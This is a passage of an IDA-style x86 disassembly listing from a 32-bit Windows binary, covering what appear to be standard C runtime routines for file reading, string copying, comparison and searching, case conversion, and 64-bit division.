loc_416C1C:				; CODE XREF: sub_416BA7+49j
					; sub_416BA7+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C4F
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C32
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416C32:				; CODE XREF: sub_416BA7+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41C441
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C79
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C7F
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C67
; ---------------------------------------------------------------------------


loc_416C4F:				; CODE XREF: sub_416BA7+78j
		push	esi
		call	sub_41C368
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C83
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416C67:				; CODE XREF: sub_416BA7+73j
					; sub_416BA7+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BE7
		mov	eax, [ebp+arg_8]


loc_416C74:				; CODE XREF: sub_416BA7+1Fj
					; sub_416BA7+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416C79:				; CODE XREF: sub_416BA7+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C83
; ---------------------------------------------------------------------------


loc_416C7F:				; CODE XREF: sub_416BA7+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416C83:				; CODE XREF: sub_416BA7+B2j
					; sub_416BA7+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C74
sub_416BA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C8F	proc near		; CODE XREF: sub_404138+2B2p
					; sub_404716+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416CA8:				; CODE XREF: sub_416C8F+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416CA8
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CD0
		mov	edx, ds:dword_4C9080


loc_416CD0:				; CODE XREF: sub_416C8F+39j
					; sub_416C8F+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CF0
		test	al, al
		jz	short loc_416CF0
		inc	edx
		jmp	short loc_416CD0
; ---------------------------------------------------------------------------


loc_416CF0:				; CODE XREF: sub_416C8F+58j
					; sub_416C8F+5Cj
		mov	ebx, edx


loc_416CF2:				; CODE XREF: sub_416C8F+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416D16
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416D12
		inc	edx
		jmp	short loc_416CF2
; ---------------------------------------------------------------------------


loc_416D12:				; CODE XREF: sub_416C8F+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416D16:				; CODE XREF: sub_416C8F+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_4C9080, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C8F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: sub_4049CD+1B6p
					; sub_405898+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DB3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D54
		shr	ecx, 2
		jnz	short loc_416DC1
		jmp	short loc_416D75
; ---------------------------------------------------------------------------


loc_416D54:				; CODE XREF: sub_416D30+1Bj
					; sub_416D30+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D82
		test	al, al
		jz	short loc_416D8A
		test	esi, 3
		jnz	short loc_416D54
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DC1


loc_416D70:				; CODE XREF: sub_416D30+8Fj
		and	ebx, 3
		jz	short loc_416D82


loc_416D75:				; CODE XREF: sub_416D30+22j
					; sub_416D30+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416DAE
		dec	ebx
		jnz	short loc_416D75


loc_416D82:				; CODE XREF: sub_416D30+2Bj
					; sub_416D30+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416D8A:				; CODE XREF: sub_416D30+2Fj
		test	edi, 3
		jz	short loc_416DA4


loc_416D92:				; CODE XREF: sub_416D30+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E26
		test	edi, 3
		jnz	short loc_416D92


loc_416DA4:				; CODE XREF: sub_416D30+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E17


loc_416DAB:				; CODE XREF: sub_416D30+7Fj
					; sub_416D30+F4j
		mov	[edi], al
		inc	edi


loc_416DAE:				; CODE XREF: sub_416D30+4Dj
		dec	ebx
		jnz	short loc_416DAB
		pop	ebx
		pop	esi


loc_416DB3:				; CODE XREF: sub_416D30+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416DB9:				; CODE XREF: sub_416D30+A9j
					; sub_416D30+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D70


loc_416DC1:				; CODE XREF: sub_416D30+20j
					; sub_416D30+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DB9
		test	dl, dl
		jz	short loc_416E0B
		test	dh, dh
		jz	short loc_416E01
		test	edx, 0FF0000h
		jz	short loc_416DF7
		test	edx, 0FF000000h
		jnz	short loc_416DB9
		mov	[edi], edx
		jmp	short loc_416E0F
; ---------------------------------------------------------------------------


loc_416DF7:				; CODE XREF: sub_416D30+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416E0F
; ---------------------------------------------------------------------------


loc_416E01:				; CODE XREF: sub_416D30+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416E0F
; ---------------------------------------------------------------------------


loc_416E0B:				; CODE XREF: sub_416D30+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416E0F:				; CODE XREF: sub_416D30+C5j
					; sub_416D30+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E21


loc_416E17:				; CODE XREF: sub_416D30+79j
		xor	eax, eax


loc_416E19:				; CODE XREF: sub_416D30+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E19


loc_416E21:				; CODE XREF: sub_416D30+E5j
		and	ebx, 3
		jnz	short loc_416DAB


loc_416E26:				; CODE XREF: sub_416D30+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D30	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E2E	proc near		; CODE XREF: sub_40525F+2E2p
					; sub_40525F+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416EAA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416E4D
		cmp	edi, 1
		jz	short loc_416E4D
		cmp	edi, 2
		jnz	short loc_416EAA


loc_416E4D:				; CODE XREF: sub_416E2E+13j
					; sub_416E2E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E64
		push	esi
		call	sub_41C6D1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_416E64:				; CODE XREF: sub_416E2E+27j
		push	esi
		call	sub_4188F0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E79
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E8D
; ---------------------------------------------------------------------------


loc_416E79:				; CODE XREF: sub_416E2E+42j
		test	al, 1
		jz	short loc_416E8D
		test	al, 8
		jz	short loc_416E8D
		test	ah, 4
		jnz	short loc_416E8D
		mov	dword ptr [esi+18h], 200h


loc_416E8D:				; CODE XREF: sub_416E2E+49j
					; sub_416E2E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41C637
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EB7
; ---------------------------------------------------------------------------


loc_416EAA:				; CODE XREF: sub_416E2E+Bj
					; sub_416E2E+1Dj
		mov	ds:dword_4C9084, 16h
		or	eax, 0FFFFFFFFh


loc_416EB7:				; CODE XREF: sub_416E2E+7Aj
		pop	edi
		pop	esi
		retn
sub_416E2E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EC0	proc near		; CODE XREF: sub_40525F+2ACp
					; sub_40525F+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416EF1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EEF
		jz	short loc_416EF1
		dec	ecx
		dec	ecx


loc_416EEF:				; CODE XREF: sub_416EC0+29j
		not	ecx


loc_416EF1:				; CODE XREF: sub_416EC0+9j
					; sub_416EC0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F00	proc near		; CODE XREF: sub_405756+5Cp
					; sub_405756+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FB4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F2A


loc_416F1B:				; CODE XREF: sub_416F00+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F5B
		test	edi, 3
		jnz	short loc_416F1B


loc_416F2A:				; CODE XREF: sub_416F00+19j
					; sub_416F00+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F2A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F68
		test	ah, ah
		jz	short loc_416F63
		test	eax, 0FF0000h
		jz	short loc_416F5E
		test	eax, 0FF000000h
		jnz	short loc_416F2A


loc_416F5B:				; CODE XREF: sub_416F00+20j
		dec	edi
		jmp	short loc_416F6B
; ---------------------------------------------------------------------------


loc_416F5E:				; CODE XREF: sub_416F00+52j
		sub	edi, 2
		jmp	short loc_416F6B
; ---------------------------------------------------------------------------


loc_416F63:				; CODE XREF: sub_416F00+4Bj
		sub	edi, 3
		jmp	short loc_416F6B
; ---------------------------------------------------------------------------


loc_416F68:				; CODE XREF: sub_416F00+47j
		sub	edi, 4


loc_416F6B:				; CODE XREF: sub_416F00+5Cj
					; sub_416F00+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F80
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FCC
		jmp	short loc_416F9C
; ---------------------------------------------------------------------------


loc_416F80:				; CODE XREF: sub_416F00+75j
					; sub_416F00+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FBA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FB0
		test	esi, 3
		jnz	short loc_416F80
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FCC


loc_416F9C:				; CODE XREF: sub_416F00+7Ej
					; sub_416F00+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FB0


loc_416FA3:				; CODE XREF: sub_416F00+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FB2
		dec	ecx
		jnz	short loc_416FA3


loc_416FB0:				; CODE XREF: sub_416F00+8Bj
					; sub_416F00+A1j
		mov	[edi], cl


loc_416FB2:				; CODE XREF: sub_416F00+ABj
		pop	ebx
		pop	esi


loc_416FB4:				; CODE XREF: sub_416F00+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FBA:				; CODE XREF: sub_416F00+85j
					; sub_416F00+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FC4:				; CODE XREF: sub_416F00+E4j
					; sub_416F00+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416F9C


loc_416FCC:				; CODE XREF: sub_416F00+7Cj
					; sub_416F00+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FC4
		test	dl, dl
		jz	short loc_416FBA
		test	dh, dh
		jz	short loc_417018
		test	edx, 0FF0000h
		jz	short loc_417008
		test	edx, 0FF000000h
		jnz	short loc_416FC4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417008:				; CODE XREF: sub_416F00+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417018:				; CODE XREF: sub_416F00+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417030	proc near		; CODE XREF: sub_405898+2A2p
					; sub_40D2E0+31DBp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417051
		xor	eax, eax
		jmp	short loc_417053
; ---------------------------------------------------------------------------


loc_417051:				; CODE XREF: sub_417030+1Bj
		mov	eax, edi


loc_417053:				; CODE XREF: sub_417030+1Fj
		cld
		pop	edi
		leave
		retn
sub_417030	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417070


loc_417060:				; CODE XREF: sub_417070+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417070
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417070	proc near		; CODE XREF: sub_40726C+DBp
					; sub_40BF5E+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417060 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417076:				; CODE XREF: sub_415A50+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41709B


loc_417088:				; CODE XREF: sub_417070+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417060
		test	cl, cl
		jz	short loc_4170E4
		test	edx, 3
		jnz	short loc_417088


loc_41709B:				; CODE XREF: sub_417070+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4170A6:				; CODE XREF: sub_417070+61j
					; sub_417070+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170E8
		and	eax, 81010100h
		jz	short loc_4170A6
		and	eax, 1010100h
		jnz	short loc_4170E2
		and	esi, 80000000h
		jnz	short loc_4170A6


loc_4170E2:				; CODE XREF: sub_417070+68j
					; sub_417070+81j ...
		pop	esi
		pop	edi


loc_4170E4:				; CODE XREF: sub_417070+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4170E8:				; CODE XREF: sub_417070+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417125
		test	al, al
		jz	short loc_4170E2
		cmp	ah, bl
		jz	short loc_41711E
		test	ah, ah
		jz	short loc_4170E2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417117
		test	al, al
		jz	short loc_4170E2
		cmp	ah, bl
		jz	short loc_417110
		test	ah, ah
		jz	short loc_4170E2
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417110:				; CODE XREF: sub_417070+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417117:				; CODE XREF: sub_417070+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41711E:				; CODE XREF: sub_417070+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417125:				; CODE XREF: sub_417070+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41712C	proc near		; CODE XREF: sub_40726C+AFp
					; sub_40D2E0+47F2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417140
		xor	eax, eax
		jmp	short loc_417176
; ---------------------------------------------------------------------------


loc_417140:				; CODE XREF: sub_41712C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417170
		mov	esi, [ebp+arg_8]


loc_417149:				; CODE XREF: sub_41712C+42j
		dec	dword ptr [esi+4]
		js	short loc_417158
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41715F
; ---------------------------------------------------------------------------


loc_417158:				; CODE XREF: sub_41712C+20j
		push	esi
		call	sub_41C368
		pop	ecx


loc_41715F:				; CODE XREF: sub_41712C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41717A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417170
		dec	[ebp+arg_4]
		jnz	short loc_417149


loc_417170:				; CODE XREF: sub_41712C+18j
					; sub_41712C+3Dj ...
		and	byte ptr [edi],	0


loc_417173:				; CODE XREF: sub_41712C+55j
		mov	eax, ebx
		pop	esi


loc_417176:				; CODE XREF: sub_41712C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41717A:				; CODE XREF: sub_41712C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417170
		xor	ebx, ebx
		jmp	short loc_417173
sub_41712C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417183	proc near		; CODE XREF: sub_40784F+BFp
					; sub_40784F+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4C911C
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_4171B7
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41721E


loc_41719F:				; CODE XREF: sub_417183+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_4171B0
		cmp	cl, 7Ah
		jg	short loc_4171B0
		sub	cl, 20h
		mov	[edx], cl


loc_4171B0:				; CODE XREF: sub_417183+21j
					; sub_417183+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41719F
		jmp	short loc_41721E
; ---------------------------------------------------------------------------


loc_4171B7:				; CODE XREF: sub_417183+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C829
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_417210
		push	edi
		call	sub_415D2F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_417210
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	ds:dword_4C911C
		call	sub_41C829
		add	esp, 20h
		test	eax, eax
		jz	short loc_417210
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_415B90
		pop	ecx
		pop	ecx


loc_417210:				; CODE XREF: sub_417183+53j
					; sub_417183+61j ...
		push	[ebp+var_4]
		call	sub_415DE1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41721E:				; CODE XREF: sub_417183+1Aj
					; sub_417183+32j
		pop	ebx
		leave
		retn
sub_417183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417221	proc near		; CODE XREF: sub_408F97+6p
					; sub_408FB5+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4C911C, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41724E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4172E7
		cmp	eax, 5Ah
		jg	loc_4172E7
		add	eax, 20h
		jmp	loc_4172E7
; ---------------------------------------------------------------------------


loc_41724E:				; CODE XREF: sub_417221+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_417282
		cmp	ds:dword_42F56C, esi
		jle	short loc_417270
		push	esi
		push	ebx
		call	sub_418762
		pop	ecx
		pop	ecx
		jmp	short loc_41727A
; ---------------------------------------------------------------------------


loc_417270:				; CODE XREF: sub_417221+42j
		mov	eax, ds:off_42F360
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41727A:				; CODE XREF: sub_417221+4Dj
		test	eax, eax
		jnz	short loc_417282


loc_41727E:				; CODE XREF: sub_417221+ADj
		mov	eax, ebx
		jmp	short loc_4172E7
; ---------------------------------------------------------------------------


loc_417282:				; CODE XREF: sub_417221+3Aj
					; sub_417221+5Bj
		mov	edx, ds:off_42F360
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4172A6
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4172AF
; ---------------------------------------------------------------------------


loc_4172A6:				; CODE XREF: sub_417221+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4172AF:				; CODE XREF: sub_417221+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_4C911C
		call	sub_41C829
		add	esp, 20h
		test	eax, eax
		jz	short loc_41727E
		cmp	eax, esi
		jnz	short loc_4172DA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4172E7
; ---------------------------------------------------------------------------


loc_4172DA:				; CODE XREF: sub_417221+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4172E7:				; CODE XREF: sub_417221+16j
					; sub_417221+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417221	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172F0	proc near		; CODE XREF: sub_409E68+3Dp
					; sub_40B62E+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417311
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_417361
; ---------------------------------------------------------------------------


loc_417311:				; CODE XREF: sub_4172F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41731F:				; CODE XREF: sub_4172F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41731F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41734A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41734A
		jb	short loc_417352
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417352


loc_41734A:				; CODE XREF: sub_4172F0+4Aj
					; sub_4172F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_417352:				; CODE XREF: sub_4172F0+52j
					; sub_4172F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417361:				; CODE XREF: sub_4172F0+1Fj
		pop	ebx
		retn	10h
sub_4172F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417370	proc near		; CODE XREF: sub_409E68+24p
					; sub_40B62E+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_417392
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4173D3
; ---------------------------------------------------------------------------


loc_417392:				; CODE XREF: sub_417370+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4173A0:				; CODE XREF: sub_417370+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4173A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4173CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4173CE
		jb	short loc_4173CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4173CF


loc_4173CE:				; CODE XREF: sub_417370+4Ej
					; sub_417370+54j
		dec	esi


loc_4173CF:				; CODE XREF: sub_417370+56j
					; sub_417370+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4173D3:				; CODE XREF: sub_417370+20j
